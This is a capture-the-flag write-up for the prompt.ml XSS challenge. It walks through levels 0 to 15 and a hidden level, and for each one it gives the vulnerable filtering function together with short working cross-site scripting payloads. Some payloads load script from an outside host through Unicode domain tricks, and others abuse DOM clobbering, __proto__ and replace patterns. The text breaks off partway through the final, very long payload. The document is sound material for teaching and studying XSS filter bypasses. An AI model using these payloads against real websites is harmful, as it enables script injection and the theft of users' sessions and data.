## [Level 0](http://prompt.ml/0)

Level 0 is a basic warm-up that requires the user to simply inject active HTML executing prompt(1). The magic is however hidden in the length of the submission. While most browsers allow to execute prompt(1) using 24 characters, some do allow for significantly less using an interesting trick on MSIE.

### Code

function escape(input) {

// warm up

// script should be executed without user interaction

return '<input type="text" value="' + input + '">';}

### Solutions

"><svg/onload=prompt(1)>

SVG is always good for a short and crisp attack vector. This solution works with **24 characters** and was found by an overwhelming amount of participants.

"onresize=prompt(1)>

Not too well-known is however, that MSIE, once loaded in IE10 document mode, fires resize-events for almost anything in the markup tree. This allows for another shortening, down to **20 characters**.

### Background Info

The resize-event is special on MSIE 10 and older - but not on MSIE 11. What makes it special is the fact that it fires for most HTML elements without any user interaction. While useless in most cases, it makes this event particularly interesting for very short XSS vectors as it allows turning attribute-injections into XSS without user interaction. At least on MSIE10 and older.

More info: [http://msdn.microsoft.com/en-us/library/ie/ms536959%28v=vs.85%29.aspx](http://msdn.microsoft.com/en-us/library/ie/ms536959(v=vs.85).aspx)

» [Top](https://github.com/cure53/XSSChallengeWiki/wiki/prompt.ml" \l "index)

## [Level 1](http://prompt.ml/1)

Level 1 requires to bypass a simple stripping mechanism borrowed from ExtJS library. The simple regular expression can be bypassed simply by removing the trailing > character. Furthermore, to force the browser to render the attack vector, it is required a trailing space or a line break. The shortest solution is **22 characters** in length and is working in all tested browsers.

### Code

function escape(input) {

// tags stripping mechanism from ExtJS library

// Ext.util.Format.stripTags

var stripTagsRE = /<\/?[^>]+>/gi;

input = input.replace(stripTagsRE, '');

return '<article>' + input + '</article>';}

### Solutions

<svg/onload=prompt(1)

### Background Info

Nothing special here, just standard features that make for a good and short vector.

» [Top](https://github.com/cure53/XSSChallengeWiki/wiki/prompt.ml" \l "index)

## [Level 2](http://prompt.ml/2)

Level 2 introduces an interesting filter: all open parenthesis and equal signs are blocked.

### Code

function escape(input) {

// v-- frowny face

input = input.replace(/[=(]/g, '');

// ok seriously, disallows equal signs and open parenthesis

return input;}

### Solutions

Firefox and MSIE shortest solution (**29 chars**):

<svg><script>prompt&#40;1)<b>

The previous vector does not work in Chrome because it requires the script closing tag.  
The shortest solution is (**35 chars**):

<svg><script>prompt&#40;1)</script>

In the near future we will be able to use neat and sneaky ES6 code in all browsers.

<script>eval.call`${'prompt\x281)'}`</script>

Or more specifically:

<script>prompt.call`${1}`</script>

### Background Info

The magic of this level's solution is once again caused by SVG. This time not only because it is useful to shorten the attack vector but also due to its XML-ish nature. This means that once we use entities inside an SVG's <script> element (or any other CDATA element), they will be parsed as if they were used in canonical representation. Therefore, to bypass the filter, the solution is to call prompt(1) with the open parenthesis char ( encoded, i.e. &#x28; or even shorter &#40;. One can also use &lpar; of course.

» [Top](https://github.com/cure53/XSSChallengeWiki/wiki/prompt.ml" \l "index)

## [Level 3](http://prompt.ml/3)

Level 3 requires to break out the input from an HTML comment structure. It'd be easy if it were not for a tricky limitation that blocks all potential ending comment delimeters respective to what the [HTML Specifications](http://www.whatwg.org/specs/web-apps/current-work/multipage/syntax.html" \l "comments) defines:

"... the comment must be ended by the three character sequence U+002D HYPHEN-MINUS, U+002D HYPHEN-MINUS, U+003E GREATER-THAN SIGN (-->)."

But, as it was first noted in 2012, HTML5 comments are a little bit special. Not only --> but also the character sequence --!> has the ability to close comments and thereby it possible to bypass this filter as well.

### Code

function escape(input) {

// filter potential comment end delimiters

input = input.replace(/->/g, '\_');

// comment the input to avoid script execution

return '<!-- ' + input + ' -->';}

### Solutions

This **25 characters** length solution works in all browsers:

--!><svg/onload=prompt(1)

### Background Info

Although the character sequence --!> raises a Parse error, the [HTML Specifications](http://www.whatwg.org/specs/web-apps/current-work/multipage/syntax.html" \l "comments) defines the tokenization that makes it an alternative to end a comment:

12.2.4.50 Comment end state,

U+0021 EXCLAMATION MARK (!): Parse error. Switch to the comment end bang state.

12.2.4.51 Comment end bang state,

U+003E GREATER-THAN SIGN (>): Switch to the data state. Emit the comment token.

To conclude, comments are special in almost any language. This does not exclude HTML of course:

» [Top](https://github.com/cure53/XSSChallengeWiki/wiki/prompt.ml" \l "index)

## [Level 4](http://prompt.ml/4)

Level 4 requires us to bypass the regular expression to submit an external request to execute the JavaScript. However the fundamental problem with the escape function is that it decodes the user supplied input by using decodeURIComponent function. In this case we can trick the browser into believing that the prompt.ml part belongs to the basic authentication part of the URL i.e. http://user:password/@attacker.com by supplying %2f which would be decoded to / because of the decodeURIComponent function hence the complete url will become [http://prompt.ml%2f@attacker.com](http://prompt.ml/@attacker.com/).

Note: The shorter the domain you own (or borrow), the shorter is the solution. Go capitalism!

### Code

function escape(input) {

// make sure the script belongs to own site

// sample script: http://prompt.ml/js/test.js

if (/^(?:https?:)?\/\/prompt\.ml\//i.test(decodeURIComponent(input))) {

var script = document.createElement('script');

script.src = input;

return script.outerHTML;

} else {

return 'Invalid resource.';

}}

### Solutions

The following solution is 21 characters length but the record is **17 characters** that means a two characters domain for the attacker.

//prompt.ml%2f@ᄒ.ws/✌

The trick to solve the level with 17 characters only lies hidden in a transformation behavior some browsers apply when converting Unicode characters to URLs. A certain range of characters resolves to three other characters of which one is a dot - the dot we need for the URL. The following vectors uses the domain 14.rs that can be expressed by two characters only. One for the sequence 14. and one for the sequence rs:

//prompt.ml%2f@⒕₨

### Background Info

While the first part of the solution for this level is easy to find, using protocol relative URLs and incomplete HTTP Basic Authentication, the Unicode trick was the hard part. As can be seen, the ways how browsers treat Unicode in URLs and especially domains is quirky and offers a large playground for attacks and obfuscation.

» [Top](https://github.com/cure53/XSSChallengeWiki/wiki/prompt.ml" \l "index)

## [Level 5](http://prompt.ml/5)

In level 5 we have to bypass a regular expression that attempts to block event handlers and the closing bracket ">" so that we cannot close the existing input tag to execute JavaScript. The good thing here is that we can easily escape the current attribute. Another fundamental problem with the regular expression is that it fails to handle multi-line input, i.e. U+000A LINE FEED (LF) and U+000C FORM FEED (FF), which are also attribute separators.

So we can inject an event handler followed by a new line and then execute arbitrary JavaScript. Note that we cannot use autofocus keyword as its being filtered out. However, we could still use onresize event in MSIE.

### Code

function escape(input) {

// apply strict filter rules of level 0

// filter ">" and event handlers

input = input.replace(/>|on.+?=|focus/gi, '\_');

return '<input value="' + input + '" type="text">';}

### Solutions

One way to do it is to trick the element into thinking it's an image-input. We simply set the type to image due to the fact that the type after (second attribute) cannot override the previous one, as [HTML Specifications](http://www.w3.org/TR/html5/syntax.html" \l "before-attribute-name-state) states:

When the user agent leaves the attribute name state (and before emitting the tag token, if appropriate), the complete attribute's name must be compared to the other attributes on the same token; if there is already an attribute on the token with the exact same name, then this is a parse error and the new attribute must be removed from the token.

Then we can assign a src and then use an error handler:

"type=image src onerror

="prompt(1)

But as we have already learned, in MSIE we can use onresize and things will smoothly get much shorter.

"onresize

="prompt(1)

Found in google, we got a shorter vector.IE9+ & other browser

"oninput

="prompt(1)

### Background Info

Nothing too special here. Just keep in mind: There are pitfalls in regular expressions in many places. Sometimes, by turning an input into an image-input, we can turn a hard-to exploit XSS vulnerability into something that executes without user interaction. Think type="hidden" for example.

» [Top](https://github.com/cure53/XSSChallengeWiki/wiki/prompt.ml" \l "index)

## [Level 6](http://prompt.ml/6)

In level 6, the regular expression in place tries forbid the use of the strings javascript, vbscript as well as data URIs to prevent us to executing any JavaScript.

However, the problem is that the allows us to create our own inputs which could use to clobber the form's action property. Because of the DOM clobbering, document.forms[0].action will return our newly created input field instead of the actual action attribute and hence allows us to execute our JavaScript.

### Code

function escape(input) {

// let's do a post redirection

try {

// pass in formURL#formDataJSON

// e.g. http://httpbin.org/post#{"name":"Matt"}

var segments = input.split('#');

var formURL = segments[0];

var formData = JSON.parse(segments[1]);

var form = document.createElement('form');

form.action = formURL;

form.method = 'post';

for (var i in formData) {

var input = form.appendChild(document.createElement('input'));

input.name = i;

input.setAttribute('value', formData[i]);

}

return form.outerHTML + ' \n\<script> \n\ // forbid javascript: or vbscript: and data: stuff \n\ if (!/script:|data:/i.test(document.forms[0].action)) \n\ document.forms[0].submit(); \n\ else \n\ document.write("Action forbidden.") \n\</script> \n\ ';

} catch (e) {

return 'Invalid form data.';

}}

### Solutions

The following would be a **33 chars** solution:

javascript:prompt(1)#{"action":1}

However, it could be shortened for MSIE by using VBScript, which leads us to **29 chars** solution.

vbscript:prompt(1)#{"action":1}

### Background Info

DOM Clobbering can strike in various situations and is, in case a user can influence a website's HTML, hard to tackle. Most problematic here are two groups of attributes: name-attributes and ID-attributes. Depending on which HTML they are being used with, an attacker can overwrite properties, disable functions and influence JavaScript business logic. The best way to get around this is not to allow name- and ID-attributes in user controlled HTML content.

» [Top](https://github.com/cure53/XSSChallengeWiki/wiki/prompt.ml" \l "index)

## [Level 7](http://prompt.ml/7)

In Level 7, the input is split to segments separated by the **#** character. Each segment is stripped to a maximum length of 12 characters, and then warped by a <p> element.

The trick here is to use the first segment to close the <p> tag and then start our own tag (in this case <svg). Afterwards, we open an attribute to contain the "junk" that will be placed between the first and second segments.

In the second segment, we close our junk attribute, and open our event ("onload"), then we use a JS comment (/\*) to contain the junk that will be placed between the second and third segment. In the third segment we close the JS comment, and finally call our precious prompt(1).

<p class="comment" title=""><svg/a="></p><p class="comment" title=""onload='/\*"></p><p class="comment" title="\*/prompt(1)'"></p>

### Code

function escape(input) {

// pass in something like dog#cat#bird#mouse...

var segments = input.split('#');

return segments.map(function(title) {

// title can only contain 12 characters

return '<p class="comment" title="' + title.slice(0, 12) + '"></p>';

}).join('\n');}

### Solutions

The following is a **34 chars** solution:

"><svg/a=#"onload='/\*#\*/prompt(1)'

**33 chars**, using ES6 template literals:

"><svg a=#"onload='`#`;prompt(1)'

**31 chars**, MSIE specific solution:

"><script x=#"async=#"src="//⒛₨

<p class="comment" title=""><script x="></p><p class="comment" title=""async="></p><p class="comment" title=""src="//⒛₨"></p>

### Background Info

The async attribute allows to utilize un-closed script elements. So this works in MSIE - a very useful trick: <script src="test.js" async>

» [Top](https://github.com/cure53/XSSChallengeWiki/wiki/prompt.ml" \l "index)

## [Level 8](http://prompt.ml/8)

There are two challenges to be solved in level 8. The first is to use a valid JavaScript line separator and the second is to find an alternative way to comment out code. As one may notice from the code, the characters \r\n are filtered out. However, the following chars are also treated as a valid line separators in JavaScript:

[Line Separator](http://codepoints.net/U+2028) - U+2028

[Paragraph Separator](http://codepoints.net/U+2029) - U+2029

Injecting a [Line Separator](http://codepoints.net/U+2028) character returns the following output:

<script>// console.log("prompt(1)");</script>

The next challenge here is to comment out ") associated with prompt(1) so that the JavaScript can be executed. However, / and < are being filtered out. According to the following spec - [http://javascript.spec.whatwg.org/#comment-syntax](http://javascript.spec.whatwg.org/" \l "comment-syntax), --> could also be used for commenting and this solves the second problem too. This forms the following syntax which indeed solves the challenge:

<script>// console.log("prompt(1)-->");</script>

### Code

function escape(input) {

// prevent input from getting out of comment

// strip off line-breaks and stuff

input = input.replace(/[\r\n</"]/g, '');

return ' \n\<script> \n\ // console.log("' + input + '"); \n\</script> ';}

### Solutions

This solution is **14 characters** length and is valid in Chrome and Firefox.

[U+2028]prompt(1)[U+2028]-->

### Background Info

The special part here is that in JavaScript, the regular expression to catch newlines doesn't match the Unicode versions thereof. However, the Unicode representation does function properly as a valid like and paragraph separator.

Oh, and we can use HTML comments in JavaScript because... because browsers.

» [Top](https://github.com/cure53/XSSChallengeWiki/wiki/prompt.ml" \l "index)

## [Level 9](http://prompt.ml/9)

Level 9 uses the regular expression "<([a-zA-Z])" which prevents the user from adding any alphabet followed by an opening bracket (<) and hence preventing us from injecting a valid HTML tag. However the problem here is the toUpperCase() method converts not only English alphabet, but also some Unicode characters, as [ECMAScript Language Specification](http://ecma-international.org/ecma-262/5.1/" \l "sec-15.5.4.18) states:

This function behaves in exactly the same way as String.prototype.toLowerCase, except that characters are mapped to their uppercase equivalents as specified in the Unicode Character Database.

The ſ character, when passed to the toUpperCase() function would be converted to the ASCII character "S" hence solving our problem.

### Code

function escape(input) {

// filter potential start-tags

input = input.replace(/<([a-zA-Z])/g, '<\_$1');

// use all-caps for heading

input = input.toUpperCase();

// sample input: you shall not pass! => YOU SHALL NOT PASS!

return '<h1>' + input + '</h1>';}

### Solutions

The following solution, **23 characters** in length, uses the URL trick shown in solution 4 and abuses the fact, that browsers tend to convert certain Unicode characters to ASCII upon using toUppercase().

<ſvg><ſcript/href=//⒕₨>

The following is a universal solution for all browsers, requiring **26 characters**:

<ſcript/ſrc=//⒕₨></ſcript>

or using async attribute **23 characters**:

<ſcript/async/src=//⒛₨>

### Background Info

The special part here is the transformation behavior. Not all Unicode characters have matching representations when casted to capitals - so browsers often tend to simply take a look-alike, best-fit mapping ASCII character instead. There's a fairly large range of characters with this behavior and all browsers do it a bit differently.

» [Top](https://github.com/cure53/XSSChallengeWiki/wiki/prompt.ml" \l "index)

## [Level 10](http://prompt.ml/10)

Level 10 is one of the easier to solve levels of this challenge. There are two regular expressions to bypass: the first removes all the occurrences of prompt keyword, while the second removes all single quotes '. To bypass the first regular expression is enough a single quote to split prompt keyword to pr'ompt, this clearly is not a valid JavaScript instruction but no panic the second regular expression will remove the intruder character ' giving back a valid attack vector!

### Code

function escape(input) {

// (╯°□°）╯︵ ┻━┻

input = encodeURIComponent(input).replace(/prompt/g, 'alert');

// ┬──┬ ﻿ノ( ゜-゜ノ) chill out bro

input = input.replace(/'/g, '');

// (╯°□°）╯︵ /(.□. \）DONT FLIP ME BRO

return '<script>' + input + '</script> ';}

### Solutions

This is a universal, **10 characters** length, solution:

p'rompt(1)

### Background Info

None so far, this level was a classic puzzle challenge and no browser quirks were used here.

» [Top](https://github.com/cure53/XSSChallengeWiki/wiki/prompt.ml" \l "index)

## [Level 11](http://prompt.ml/11)

Level 11 allows us to inject directly into what will be the body of a script element. However, before doing so, the string we can influence experiences heavy filtering and we cannot inject any operators or other language elements that would allow for easy concatenation and payload injection. The trick here is to use an operator, that is alphanumeric - so an operator that doesn't require us to use the banned special characters. Well. There is a bunch of these and one we can utilize here. The in operator.

### Code

function escape(input) {

// name should not contain special characters

var memberName = input.replace(/[[|\s+\*/\\<>&^:;=~!%-]/g, '');

// data to be parsed as JSON

var dataString = '{"action":"login","message":"Welcome back, ' + memberName + '."}';

// directly "parse" data in script context

return ' \n\<script> \n\ var data = ' + dataString + '; \n\ if (data.action === "login") \n\ document.write(data.message) \n\</script> ';}

### Solutions

The following is a **15 character** solution that simply wraps the payload in parenthesis and connects it to the output using the in operator. Elegant and simple.

"(prompt(1))in"

<script>

var data = {"action":"login","message":"Welcome back, "(prompt(1))in"."};

if (data.action === "login")

document.write(data.message) </script>

### Background Info

It's interesting to note, that the code "test"(alert(1)) doesn't yield any parsing errors, but only returns a runtime exception. So, technically we can execute invalid code using this trick - and the error is thrown after the actual execution:

TypeError: string is not a function

Same story with alert(1)in"test":

TypeError: Cannot use 'in' operator to search for 'undefined' in test

» [Top](https://github.com/cure53/XSSChallengeWiki/wiki/prompt.ml" \l "index)

## [Level 12](http://prompt.ml/12)

Level 12 is similar to level 10 but the regular expressions used for filtering are different. The first real challenge is to deal with the encodeURIComponent instruction. Using this function, characters like /, =, ?, etc. are getting URL encoded and therefore most of attack vectors are no longer usable. Anyway, dots and parentheses aren't encoded and they are good to create a working attack vector using the JavaScript function toString().

What's often overseen is that besides converting a number to string, toString() has an optional parameter: the **radix** toString(radix). This parameter allows to represent numeric values in different bases, from binary (radix 2) to Base36.

So the idea is: if we find a base that is large enough to contain all characters required, we can encode our string to a number and then eval the result of the conversion (number > string).

Let's have a look at an example: The string prompt is equivalent to 1558153217 in Base36:

parseInt("prompt",36); //1558153217

Consequently, a first valid attack vector is this long vector (105 chars) , where in addition to prompt string we concat (1) in order to eval properly:

eval((1558153217).toString(36).concat(String.fromCharCode(40)).concat(1).concat(String.fromCharCode(41)))

**Improvements**:

* We can put the (1) section just after closing the eval call, saving a bunch of chars:
  + eval((1558153217).toString(36))(1)
* A character can be saved calling toString as follow:
  + eval(1558153217..toString(36))(1)
* Another character can be saved using a different radix. Instead of Base36 it's enough to use Base30 to cover the range of characters required. In fact, in Base30 the t is the last Latin letter that is representable:
  + eval(630038579..toString(30))(1)

### Code

function escape(input) {

// in Soviet Russia...

input = encodeURIComponent(input).replace(/'/g, '');

// table flips you!

input = input.replace(/prompt/g, 'alert');

// ノ┬─┬ノ ︵ ( \o°o)\

return '<script>' + input + '</script> ';}

### Solutions

Both solutions are **32 character length** and works in all browsers:

eval(630038579..toString(30))(1)

// Hexadecimal alternative (630038579 == 0x258da033):eval(0x258da033.toString(30))(1)

A sneaky way to get the prompt to execute is however to simply solve the level using brute-force. This can be done by looping over self and blindly executing anything. Eventually, the loop will hit the prompt functions whilst iterating over self, execute it and the level is solved:

for((i)in(self))eval(i)(1)

### Background Info

Interesting with the brute-force solution is the lack of "fatal errors" being thrown. Despite the code clearly yielding exceptions when executed in a normal window, it does not when being executed in the context of an Iframe. In IE10- last assigned property of object makes it first.

window.prompt = function(n) {

n === 1 && parent.postMessage({passed: true, code: JSON.parse(name).input}, '\*');};

» [Top](https://github.com/cure53/XSSChallengeWiki/wiki/prompt.ml" \l "index)

## [Level 13](http://prompt.ml/13)

Level 13 requires a couple of interesting tricks, one of which will also be useful for the hidden level. The main goal of this level is to tamper with a JSON object (config) with a special key (source) and bypassing a bunch of limitations. Note: We have to manage to get the payload through JSON.parse(). Which is not easy and prohibits anything active and dangerous.

Analyzing the code, there's no way to inject any attack vector within source, the only hope is in the \_\_proto\_\_ property of Object.prototype. A [deprecated property](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/proto) that is still present in all modern browsers.

The idea is to redefine the source value and use some filters against themselves, yeah mad but awesome! To do this, we must remind some main rules:

* There **must** be only one source key
* The source key **must** have a valid value otherwise will be removed: \*

// forbit invalid image sourceif (/[^\w:\/.]/.test(config.source)) {

delete config.source;}

So, if we provide an object like this:

{"source":"\_-\_invalid-URL\_-\_","\_\_proto\_\_":{"source":"my\_evil\_payload"}}`

we have a valid object with two keys: source and \_\_proto\_\_.

config = {

"source": "\_-\_invalid-URL\_-\_",

"\_\_proto\_\_": {

"source": "my\_evil\_payload"

}}

Now the interesting part. We said that the 2nd rule requires a valid image source, but the one provided is not valid (\_-\_invalid-URL\_-\_) and thus we triggered the delete instruction: delete config.source;. Awesome! That's is what we were looking for. At this point the config object is as follows:

config = {

"\_\_proto\_\_": {

"source": "my\_evil\_payload"

}}

This means that we have a new getter for source! In fact, config.source is equal to config.\_\_proto\_\_.source, this because \_\_proto\_\_ is an accessor property (getter/setter function). Now we have a way to inject our attack vector within source, but now the problem is this rule:

var source = config.source.replace(/"/g, '');

If we cannot inject a " character we still cannot break the injection point:

<img src="{{source}}">;

We need another trick .. say hello to **String.replace()**! It's not commonly known that the replace method accepts some [Special replacement patterns](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace" \l "Description).  
This is what we need:

$` | Inserts the portion of the string that follows the matched substring

So, injecting the following...

{"source":"\_-\_invalid-URL\_-\_","\_\_proto\_\_":{"source":"$`onerror=prompt(1)>"}}

... will give us working payload without even using the double-quote!

### Code

function escape(input) {

// extend method from Underscore library

// \_.extend(destination, \*sources)

function extend(obj) {

var source, prop;

for (var i = 1, length = arguments.length; i < length; i++) {

source = arguments[i];

for (prop in source) {

obj[prop] = source[prop];

}

}

return obj;

}

// a simple picture plugin

try {

// pass in something like {"source":"http://sandbox.prompt.ml/PROMPT.JPG"}

var data = JSON.parse(input);

var config = extend({

// default image source

source: 'http://placehold.it/350x150'

}, JSON.parse(input));

// forbit invalid image source

if (/[^\w:\/.]/.test(config.source)) {

delete config.source;

}

// purify the source by stripping off "

var source = config.source.replace(/"/g, '');

// insert the content using mustache-ish template

return '<img src="{{source}}">'.replace('{{source}}', source);

} catch (e) {

return 'Invalid image data.';

}}

### Solutions

This solution is **59 characters** length and works in all modern browsers including IE11.

{"source":{},"\_\_proto\_\_":{"source":"$`onerror=prompt(1)>"}}

### Background Info

The magic of this level was in its exotic requirements. We needed to create a property that cannot be deleted and then work with characters we cannot use. Both \_\_proto\_\_ and the additional String.replace() features are not overly well-known and inviting for further investigation.

» [Top](https://github.com/cure53/XSSChallengeWiki/wiki/prompt.ml" \l "index)

## [Level 14](http://prompt.ml/14)

In Level 14 we must get across a few restrictions:

* The code to be executed must work despite being all capitals. Everything is being capitalized no matter what.
* You can’t load anything from any URI scheme except for: data:
* The characters , &, and % are blocked, so you can’t hide the lower case xss in hex / decimal encoding (&#00;, \x00, %00, etc..)

One solution working in Firefox is to use the data scheme and hide the payload in base64. This will work because Firefox accepts "BASE64" as an encoding definition (compared to other browsers that require "base64" in lower case).

The remaining challenge is to craft a payload that will be represented upper case chars of base64. This can be achieved by using an upper case payload. for example, the following payload:

<SCRIPT /

SRC =HTTPS:PMT1.ML> </SCRIPT <>

Translates to: ICA8U0NSSVBUIC8KU1JDCSA9SFRUUFM6UE1UMS5NTD4JPC9TQ1JJUFQJPD4=

### Code

function escape(input) {

// I expect this one will have other solutions, so be creative :)

// mspaint makes all file names in all-caps :(

// too lazy to convert them back in lower case

// sample input: prompt.jpg => PROMPT.JPG

input = input.toUpperCase();

// only allows images loaded from own host or data URI scheme

input = input.replace(/\/\/|\w+:/g, 'data:');

// miscellaneous filtering

input = input.replace(/[\\&+%\s]|vbs/gi, '\_');

return '<img src="' + input + '">';}

### Solutions

The following is a **94 chars** solution for Firefox:

"><IFRAME/SRC="x:text/html;base64,ICA8U0NSSVBUIC8KU1JDCSA9SFRUUFM6UE1UMS5NTD4JPC9TQ1JJUFQJPD4=

It is however possible to go even further and create a solution that requires **25 chars** and works on MSIE:

"><script/async/src="/〳⒛₨

<img src=""><SCRIPT/ASYNC/SRC="/〳⒛₨">

### Background Info

While the Base64-based bypass was essentially a lot of engineering work, the true magic is in the MSIE version of this vector. Note that we bypass the check for // by using a Unicode representation of the slash. This and other Unicode characters work for that purpose. It has to be the second character only though. The first must be an actial slash (or solidus).

» [Top](https://github.com/cure53/XSSChallengeWiki/wiki/prompt.ml" \l "index)

## [Level 15](http://prompt.ml/15)

Just like in [Level 7](http://prompt.ml/7), the input is split into segments separated by the # char.

Each segment is stripped to a maximum length of 15 chars, and warped in a <p> tag.

The key difference is that unlike [Level 7](http://prompt.ml/7), it's not possible to use the /\* JS comments, and quotes will be cut due to the "data-comment" attribute which is added to each segment.

A Trick we can use here, is to use HTML comments <!-- in a <svg> tag to hide the "junk"

<p class="comment" title=""><svg><!--" data-comment='{"id":0}'></p><p class="comment" title="--><script><!--" data-comment='{"id":1}'></p><p class="comment" title="-->prompt(1<!--" data-comment='{"id":2}'></p>

<p class="comment" title="-->)</script>" data-comment='{"id":3}'></p>

### Code

function escape(input) {

// sort of spoiler of level 7

input = input.replace(/\\*/g, '');

// pass in something like dog#cat#bird#mouse...

var segments = input.split('#');

return segments.map(function(title, index) {

// title can only contain 15 characters

return '<p class="comment" title="' + title.slice(0, 15) + '" data-comment=\'{"id":' + index + '}\'></p>';

}).join('\n');}

### Solutions

The following is a universal **57 character** solution:

"><svg><!--#--><script><!--#-->prompt(1<!--#-->)</script>

In Firefox and MSIE, the closing </script> is not required, which leads to a **42 character** solution:

"><svg><!--#--><script><!--#-->prompt(1)</

In latest Firefox Aurora builds, we can also use the following **35 character** solution - thanks to the newly introduced feature called "Template Strings":

"><script>`#${prompt(1)}#`</script>

### Background Info

No additional background info here, the challenge is a classic puzzle. The shortest vector however is interesting as it uses ECMA Script 6 as a shortcut. This however only works in latest Firefox Aurora builds.

» [Top](https://github.com/cure53/XSSChallengeWiki/wiki/prompt.ml" \l "index)

## [Hidden Level -1](http://prompt.ml/-1)

To conclude the challenge @filedescriptor placed a hidden level. At first glance, because of the [history API](http://www.whatwg.org/specs/web-apps/current-work/multipage/history.html), it seems an HTML5 challenge but it is not. The goal is to break the conditional statement and, of course, call prompt(1). Furthermore, there is a simple but really effective filter to bypass:

* } and < are denied

Ok this challenge is pure madness, I agree but if you've done all levels before, surely you remember the special trick in [Level 13](http://prompt.ml/13) about the replace function. That trick is part of the solution. The next trick is a **basic** feature of JavaScript, ignored by many but powerful: **Hoisting**.  
Basically, what JavaScript says is:

it does not matter where you put your objects, if I find a declaration I'll evaluate it first of all.

So, keep in mind that JavaScript hoists declarations (not initializations). At this point, the idea is to inject the declaration of a new object named history with a length as big as 1337. In this way it will be hoisted and will overwrite the existing history object with the new one created and will pass the conditional statement.

Now the question is: what's the right object to use? The only object able to include declaration and initialization in one statement is the **Function**. In fact, one of the possible methods to define a new function is named Function Declaration and use the following syntax:

function functionDeclaration(a,b,c) {

alert('Function declared with ' + functionDeclaration.length + ' parameters');}

functionDeclaration(); //alert > Function declared with 3 parameters

To pass the conditional statement, we'll need a function with 1338 parameters, but this is still not enough. We need a way to close the declaration because the regex is still there...and here comes the String.replace() trick with is useful pattern: $&. What it does is to insert the matched substring within the string, exactly what we are looking for since the matched substring {{injection}} contains the closing curly bracket!  
With the right combination of elements, we can generate something like:

if (history.length > 1337) {

// you can inject any code here

// as long as it will be executed

function history(l,o,r,e,m...1338 times...){{injection}}

prompt(1)}

and the payload would be:

function history(l,o,r,e,m, ....)$&prompt(1)

### Code

function escape(input) {

// WORLD -1

// strip off certain characters from breaking conditional statement

input = input.replace(/[}<]/g, '');

return ' \n\<script> \n\ if (history.length > 1337) { \n\ // you can inject any code here \n\ // as long as it will be executed \n\ {{injection}} \n\ } \n\</script> \n\ '.replace('{{injection}}', input);}

### Solutions

The full **2704 characters** solution is:

function history(L,o,r,e,m,I,p,s,u,m,i,s,s,i,m,p,l,y,d,u,m,m,y,t,e,x,t,o,f,t,h,e,p,r,i,n,t,i,n,g,a,n,d,t,y,p,e,s,e,t,t,i,n,g,i,n,d,u,s,t,r,y,L,o,r,e,m,I,p,s,u,m,h,a,s,b,e,e,n,t,h,e,i,n,d,u,s,t,r,y,s,s,t,a,n,d,a,r,d,d,u,m,m,y,t,e,x,t,e,v,e,r,s,i,n,c,e,t,h,e,s,w,h,e,n,a,n,u,n,k,n,o,w,n,p,r,i,n,t,e,r,t,o,o,k,a,g,a,l,l,e,y,o,f,t,y,p,e,a,n,d,s,c,r,a,m,b,l,e,d,i,t,t,o,m,a,k,e,a,t,y,p,e,s,p,e,c,i,m,e,n,b,o,o,k,I,t,h,a,s,s,u,r,v,i,v,e,d,n,o,t,o,n,l,y,f,i,v,e,c,e,n,t,u,r,i,e,s,b,u,t,a,l,s,o,t,h,e,l,e,a,p,i,n,t,o,e,l,e,c,t,r,o,n,i,c,t,y,p,e,s,e,t,t,i,n,g,r,e,m,a,i,n,i,n,g,e,s,s,e,n,t,i,a,l,l,y,u,n,c,h,a,n,g,e,d,I,t,w,a,s,p,o,p,u,l,a,r,i,s,e,d,i,n,t,h,e,s,w,i,t,h,t,h,e,r,e,l,e,a,s,e,o,f,L,e,t,r,a,s,e,t,s,h,e,e,t,s,c,o,n,t,a,i,n,i,n,g,L,o,r,e,m,I,p,s,u,m,p,a,s,s,a,g,e,s,a,n,d,m,o,r,e,r,e,c,e,n,t,l,y,w,i,t,h,d,e,s,k,t,o,p,p,u,b,l,i,s,h,i,n,g,s,o,f,t,w,a,r,e,l,i,k,e,A,l,d,u,s,P,a,g,e,M,a,k,e,r,i,n,c,l,u,d,i,n,g,v,e,r,s,i,o,n,s,o,f,L,o,r,e,m,I,p,s,u,m,I,t,i,s,a,l,o,n,g,e,s,t,a,b,l,i,s,h,e,d,f,a,c,t,t,h,a,t,a,r,e,a,d,e,r,w,i,l,l,b,e,d,i,s,t,r,a,c,t,e,d,b,y,t,h,e,r,e,a,d,a,b,l,e,c,o,n,t,e,n,t,o,f,a,p,a,g,e,w,h,e,n,l,o,o,k,i,n,g,a,t,i,t,s,l,a,y,o,u,t,T,h,e,p,o,i,n,t,o,f,u,s,i,n,g,L,o,r,e,m,I,p,s,u,m,i,s,t,h,a,t,i,t,h,a,s,a,m,o,r,e,o,r,l,e,s,s,n,o,r,m,a,l,d,i,s,t,r,i,b,u,t,i,o,n,o,f,l,e,t,t,e,r,s,a,s,o,p,p,o,s,e,d,t,o,u,s,i,n,g,C,o,n,t,e,n,t,h,e,r,e,c,o,n,t,e,n,t,h,e,r,e,m,a,k,i,n,g,i,t,l,o,o,k,l,i,k,e,r,e,a,d,a,b,l,e,E,n,g,l,i,s,h,M,a,n,y,d,e,s,k,t,o,p,p,u,b,l,i,s,h,i,n,g,p,a,c,k,a,g,e,s,a,n,d,w,e,b,p,a,g,e,e,d,i,t,o,r,s,n,o,w,u,s,e,L,o,r,e,m,I,p,s,u,m,a,s,t,h,e,i,r,d,e,f,a,u,l,t,m,o,d,e,l,t,e,x,t,a,n,d,a,s,e,a,r,c,h,f,o,r,l,o,r,e,m,i,p,s,u,m,w,i,l,l,u,n,c,o,v,e,r,m,a,n,y,w,e,b,s,i,t,e,s,s,t,i,l,l,i,n,t,h,e,i,r,i,n,f,a,n,c,y,V,a,r,i,o,u,s,v,e,r,s,i,o,n,s,h,a,v,e,e,v,o,l,v,e,d,o,v,e,r,t,h,e,y,e,a,r,s,s,o,m,e,t,i,m,e,s,b,y,a,c,c,i,d,e,n,t,s,o,m,e,t,i,m,e,s,o,n,p,u,r,p,o,s,e,i,n,j,e,c,t,e,d,h,u,m,o,u,r,a,n,d,t,h,e,l,i,k,e,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,